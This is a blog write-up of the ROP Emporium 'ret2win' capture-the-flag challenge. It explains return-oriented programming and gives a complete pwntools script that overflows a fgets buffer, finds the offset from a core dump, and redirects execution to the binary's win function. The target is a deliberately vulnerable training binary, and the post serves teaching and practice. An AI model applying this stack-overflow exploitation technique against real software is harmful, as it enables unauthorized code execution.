ROP Emporium - 0x01 (ret2win)

ROP Emporium - 0x01 (ret2win)

Adding to my quick write-up blog posts I am going to try and work my way through the ROP Emporium challenges.  This will also be a good way for me to begin my journey into x64 assembly as the challenges provide both x86 and x64 iterations. What the heck is ROP Emporium though?  ROP is an acronym for Return-oriented programming and is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.  

Cyber Security Red Alert keyboard Background

Everyone interested in more detail to the origins of ROP should check out the paper by Sebastian Krahmer.  To sum it up, because of these protections introduced to prevent exploitation an attacker can re-use certain chunks of code that is already apart of the valid program to perform actions unwanted. Imagine a book if you will that has many sentences and phrases located within it.  When read normally the book will flow and tell a story, however an attacker could pick specific lines or words from those pages to create a new story that might have nothing to do with the original story.  That might be a bad analogy, but it helped me grasp the concept.

I have actually already worked the stage zero level of Ropemporium in a previous blog post titled "Pwntools for Maximum Pwnage".  The majority of this will be repeated from the previous blog in order to get to the second challenge!

What happens when we run this binary?  As we can see from the screenshot below the binary runs and waits for user input.  Additionally it is nice enough to even let us know the number of bytes allowed on the stack buffer.    Alright, so what's the objective here? From the ROP Emporium website:  "Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack." The function to be called is ret2win.  This will be important later, keep this in mind.

Even though the point of this blog post is not meant to be about reverse-engineering we can still use our open source tool Ghidra to look at the code quickly. The screenshot below gives us all the information necessary about the binary file.

Since this post is not about how to perform reverse-engineering on a compiled binary, I will skip the discovery phase and simply post a screenshot below detailing where I think the error might be.

Sure enough, just as the binary told us there is a fgets function that reads in from stdin and only accepts 32 bytes without error checking.  Let's see what happens if we insert more than 32 characters using pwntools.  The first step is to load the binary into pwntools to be used.

#!/usr/bin/python
from pwn import *

# get the ELF binary into pwntools scope
elf = context.binary = ELF('ret2win')
# initialize the process
io = process(elf.path)

Now we could simply send 33 bytes through the io object by using io.sendline or io.send functions built into Pwntools.  However, luckily Pwntools has a very helpful feature called cyclic which will create a user defined length that will create a patterned string much like metasploit-framework/tools/exploit/pattern_create.rb script.  The following line added to the script would create a pattern injected into the ret2win binary. io.sendline(cyclic(128))

If we were to run the script now it would simply crash the ELF binary and exit cleanly, but we want to wait and see what happens with the injection of the pattern data.  Which bring us to the next Pwntools function which is io.wait().  This will simply hold the python script until it gets a return code from the binary.  It will look much like the following:

As you can see in the screenshot above the ret2win binary crashed with the exit code -11.  Pwntools can also be used to look at a core dump. A core dump is a file containing a process's address space (memory) when the process terminates unexpectedly. Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.  Using Pwntools built in functions we can automate the process of looking at the crash as well as grabbing information out of the core dump file.  The following commands are used to build the core dump file, grab the stack information at the time of the crash, and then finally use the built in print function called info.

core = io.corefile
stack = core.esp
info("%#x stack", stack)

Which will output some information that will look similar to this:

Awesome!  Now we can read from the stack using even more Pwntool functions!  The following code lines are used to find out what the pattern was during our cyclic data at the time of the crash.  The script when ran will look like the next screenshot in this post.

# create a variable pattern and read the corefile and pull out 4 bytes of the stack at the time of crash
pattern = core.read(stack,4)
info("%r pattern", pattern)

Now that we know exactly what the pattern was at the time of the crash we can use the Pwntools function fit to create a payload that will inject the pattern location into the ELF binary symbols table. In simpler terms when the buffer overflow happens we will overwrite the EIP location with the address of the ret2win function. This code will look like the following:

payload = fit({
	pattern: elf.symbols.ret2win
})
# if you want to see what the payload will look like
info("%r payload", payload)

The script up to this point will look like the screenshot below when run:

The final step needed is to send our payload to the ELF binary.  The last bit of code will look like this:

# send the payload to the io object
io = process(elf.path)
io.sendline(payload)
io.recvuntil("Here's your flag:")

# get the flag!
flag = io.recvline()
success(flag)

Boom!  and we got our Ropemporium placeholder flag!  Pwntools is a very large and complex library that will help with exploit development and CTFs.  It is far too large for me to cover every aspect of the library within a single blog post, but hopefully this gets you excited about Pwntools and will encourage you to look into building it into your work flow.  Until next time keep on pwning!

Here is the full code snippet:

#!/usr/bin/python
from pwn import *

#setup pwn tools to work with the binary
elf = context.binary = ELF('ret2win')

# Figure out how big of an overflow we need by crashing the process
io = process(elf.path)

# pwntools can find the crash by using cyclic
io.sendline(cyclic(128))

# wait for the crash
io.wait()

# open the corefile
core = io.corefile
stack = core.rsp
info("%#x stack", stack)


# now let's find out what was in our cyclic data at the time of the crash
pattern = core.read(stack,4)
print pattern
info("%r pattern", pattern)

# Craft a new payload which puts the "target" address at the correct offset
payload = fit({
	pattern: elf.symbols.ret2win
})

io = process(elf.path)
io.sendline(payload)
io.recvuntil("Here's your flag:")

# get the flag!
flag = io.recvline()
success(flag)

Sources and Inspiration

Ryan Villarreal

About Ryan Villarreal